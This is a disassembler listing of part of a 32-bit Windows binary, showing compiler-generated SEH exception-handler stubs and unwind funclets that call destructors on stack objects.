SEH_40B290	proc near		; DATA XREF: sub_40B290+2o
		mov	eax, offset dword_43F2C0
		jmp	sub_436858
SEH_40B290	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438C68:				; DATA XREF: ___:0043F32Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B4B0	proc near		; DATA XREF: sub_40B4B0+2o
		mov	eax, offset dword_43F300
		jmp	sub_436858
SEH_40B4B0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438C98:				; DATA XREF: ___:0040B672o
		mov	eax, offset dword_43F340
		jmp	sub_436858
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438CD0:				; DATA XREF: ___:0040B958o
		mov	eax, offset dword_43F370
		jmp	sub_436858
; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C3E0	proc near		; DATA XREF: sub_40C3E0+2o
		mov	eax, offset dword_43F3B8
		jmp	sub_436858
SEH_40C3E0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-0A78h]
		jmp	loc_401AFF
; ---------------------------------------------------------------------------


loc_438D1B:				; DATA XREF: ___:0043F414o
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438D26:				; DATA XREF: ___:0043F41Co
		lea	ecx, [ebp-0A54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C480	proc near		; DATA XREF: sub_40C480+8o
		mov	eax, offset dword_43F3E8
		jmp	sub_436858
SEH_40C480	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CB90	proc near		; DATA XREF: sub_40CB90+2o
		mov	eax, offset dword_43F430
		jmp	sub_436858
SEH_40CB90	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-260h]
		jmp	loc_40226B
; ---------------------------------------------------------------------------


loc_438D8B:				; DATA XREF: ___:0043F48Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438D96:				; DATA XREF: ___:0043F494o
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438DA1:				; DATA XREF: ___:0043F49Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438DAC:				; DATA XREF: ___:0043F4A4o
		lea	ecx, [ebp-278h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CC30	proc near		; DATA XREF: sub_40CC30+8o
		mov	eax, offset dword_43F460
		jmp	sub_436858
SEH_40CC30	endp

; ---------------------------------------------------------------------------
		db 1Fh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438DEB:				; DATA XREF: ___:0043F4DCo
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CEE0	proc near		; DATA XREF: sub_40CEE0+2o
		mov	eax, offset dword_43F4B0
		jmp	sub_436858
SEH_40CEE0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438E1B:				; DATA XREF: ___:0043F514o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438E26:				; DATA XREF: ___:0040CF62o
		mov	eax, offset dword_43F4E8
		jmp	sub_436858
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D1B0	proc near		; DATA XREF: sub_40D1B0+2o
		mov	eax, offset dword_43F520
		jmp	sub_436858
SEH_40D1B0	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-16Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438E8B:				; DATA XREF: ___:0043F594o
		lea	ecx, [ebp-184h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D600	proc near		; DATA XREF: sub_40D600+2o
		mov	eax, offset dword_43F568
		jmp	sub_436858
SEH_40D600	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-604h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-634h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-664h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-67Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-61Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-58Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-694h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-64Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40DBC0	proc near		; DATA XREF: sub_40DBC0+2o
		mov	eax, offset dword_43F5D8
		jmp	sub_436858
SEH_40DBC0	endp

; ---------------------------------------------------------------------------
		db 27h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438FC8:				; DATA XREF: ___:0043F69Co
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40E290	proc near		; DATA XREF: sub_40E290+2o
		mov	eax, offset dword_43F670
		jmp	sub_436858
SEH_40E290	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439018:				; DATA XREF: ___:0043F6F4o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40E810	proc near		; DATA XREF: sub_40E810+2o
		mov	eax, offset dword_43F6C8
		jmp	sub_436858
SEH_40E810	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439068:				; DATA XREF: ___:0043F74Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40ECA0	proc near		; DATA XREF: sub_40ECA0+2o
		mov	eax, offset dword_43F720
		jmp	sub_436858
SEH_40ECA0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40EDE0	proc near		; DATA XREF: sub_40EDE0+2o
		mov	eax, offset dword_43F760
		jmp	sub_436858
SEH_40EDE0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4390B8:				; DATA XREF: ___:0043F7BCo
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4390E8:				; DATA XREF: ___:0040F1B8o
		mov	eax, offset dword_43F790
		jmp	sub_436858
; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_439118:				; DATA XREF: ___:0043F81Co
		mov	ecx, [ebp-28h]
		add	ecx, 28h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 3Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 56h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 84h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 0B2h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 0E0h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 10Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 13Ch
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 16Ah
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 198h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 1C6h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 1F4h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 222h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 250h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 27Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 2ACh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 2DAh
		jmp	sub_401B54
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40F670	proc near		; DATA XREF: sub_40F670+2o
		mov	eax, offset dword_43F7F0
		jmp	sub_436858
SEH_40F670	endp

; ---------------------------------------------------------------------------
		db 69h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_439308:				; DATA XREF: ___:0043F97Co
		mov	ecx, [ebp-10h]
		add	ecx, 28h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 56h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B2h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E0h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 13Ch
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Ah
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 198h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C6h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1F4h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 222h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 250h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 27Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2ACh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40FE10	proc near		; DATA XREF: sub_40FE10+2o
		mov	eax, offset dword_43F950
		jmp	sub_436858
SEH_40FE10	endp

; ---------------------------------------------------------------------------
		db 47h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-247Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43943B:				; DATA XREF: ___:0043FA34o
		lea	ecx, [ebp-210Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-207Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439451:				; DATA XREF: ___:0043FA44o
		lea	ecx, [ebp-237Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43945C:				; DATA XREF: ___:0043FA4Co
		lea	ecx, [ebp-21CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439467:				; DATA XREF: ___:0043FA54o
		lea	ecx, [ebp-234Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439472:				; DATA XREF: ___:0043FA5Co
		lea	ecx, [ebp-2064h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43947D:				; DATA XREF: ___:0043FA64o
		lea	ecx, [ebp-231Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439488:				; DATA XREF: ___:0043FA6Co
		lea	ecx, [ebp-219Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439493:				; DATA XREF: ___:0043FA74o
		lea	ecx, [ebp-20DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-22ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4394A9:				; DATA XREF: ___:0043FA84o
		lea	ecx, [ebp-22BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4394B4:				; DATA XREF: ___:0043FA8Co
		lea	ecx, [ebp-23DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4394BF:				; DATA XREF: ___:0043FA94o
		lea	ecx, [ebp-216Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2424h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_436872
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_436872
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_436872
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_436872
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-228Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-225Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439539:				; DATA XREF: ___:0043FAE4o
		lea	ecx, [ebp-213Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439544:				; DATA XREF: ___:0043FAECo
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_436872
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_439552:				; DATA XREF: ___:0043FAF4o
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_436872
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_439560:				; DATA XREF: ___:0043FAFCo
		lea	ecx, [ebp-21FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-222Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439581:				; DATA XREF: ___:0043FB14o
		lea	ecx, [ebp-2394h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439597:				; DATA XREF: ___:0043FB24o
		lea	ecx, [ebp-2334h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2364h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4395AD:				; DATA XREF: ___:0043FB34o
		lea	ecx, [ebp-2304h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4395B8:				; DATA XREF: ___:0043FB3Co
		lea	ecx, [ebp-22D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2480h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4395CE:				; DATA XREF: ___:0043FB4Co
		lea	ecx, [ebp-22A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4395D9:				; DATA XREF: ___:0043FB54o
		lea	ecx, [ebp-2244h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4395EF:				; DATA XREF: ___:0043FB6Co
		lea	ecx, [ebp-2214h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4395FA:				; DATA XREF: ___:0043FB7Co
		lea	ecx, [ebp-21E4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439605:				; DATA XREF: ___:0043FB84o
		lea	ecx, [ebp-2184h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43961B:				; DATA XREF: ___:0043FB9Co
		lea	ecx, [ebp-243Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-240Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439631:				; DATA XREF: ___:0043FBB4o
		lea	ecx, [ebp-2124h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2154h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439647:				; DATA XREF: ___:0043FBC4o
		lea	ecx, [ebp-20F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439652:				; DATA XREF: ___:0043FBCCo
		lea	ecx, [ebp-2094h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2464h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439673:				; DATA XREF: sub_40FFD0+8o
		mov	eax, offset dword_43FA08
		jmp	sub_436858
; ---------------------------------------------------------------------------
		db 93h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4118D0	proc near		; DATA XREF: sub_4118D0+2o
		mov	eax, offset dword_43FC18
		jmp	sub_436858
SEH_4118D0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_402031

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411980	proc near		; DATA XREF: sub_411980+2o
		mov	eax, offset dword_43FC48
		jmp	sub_436858
SEH_411980	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439758:				; DATA XREF: ___:0043FCA4o
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 54h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 69h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411A00	proc near		; DATA XREF: sub_411A00+2o
		mov	eax, offset dword_43FC78
		jmp	sub_436858
SEH_411A00	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4397B8:				; DATA XREF: ___:0043FCFCo
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 54h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 69h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411AC0	proc near		; DATA XREF: sub_411AC0+2o
		mov	eax, offset dword_43FCD0
		jmp	sub_436858
SEH_411AC0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411BB0	proc near		; DATA XREF: sub_411BB0+8o
		mov	eax, offset dword_43FD28
		jmp	sub_436858
SEH_411BB0	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439888:				; DATA XREF: ___:0043FDD4o
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412050	proc near		; DATA XREF: sub_412050+8o
		mov	eax, offset dword_43FDA8
		jmp	sub_436858
SEH_412050	endp

; ---------------------------------------------------------------------------
		db 2Dh dup(0CCh)
; ---------------------------------------------------------------------------


loc_439930:				; DATA XREF: ___:0043FE74o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-48h]
		and	eax, 1
		test	eax, eax
		jz	locret_43994E
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43994E:				; CODE XREF: ___:00439940j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


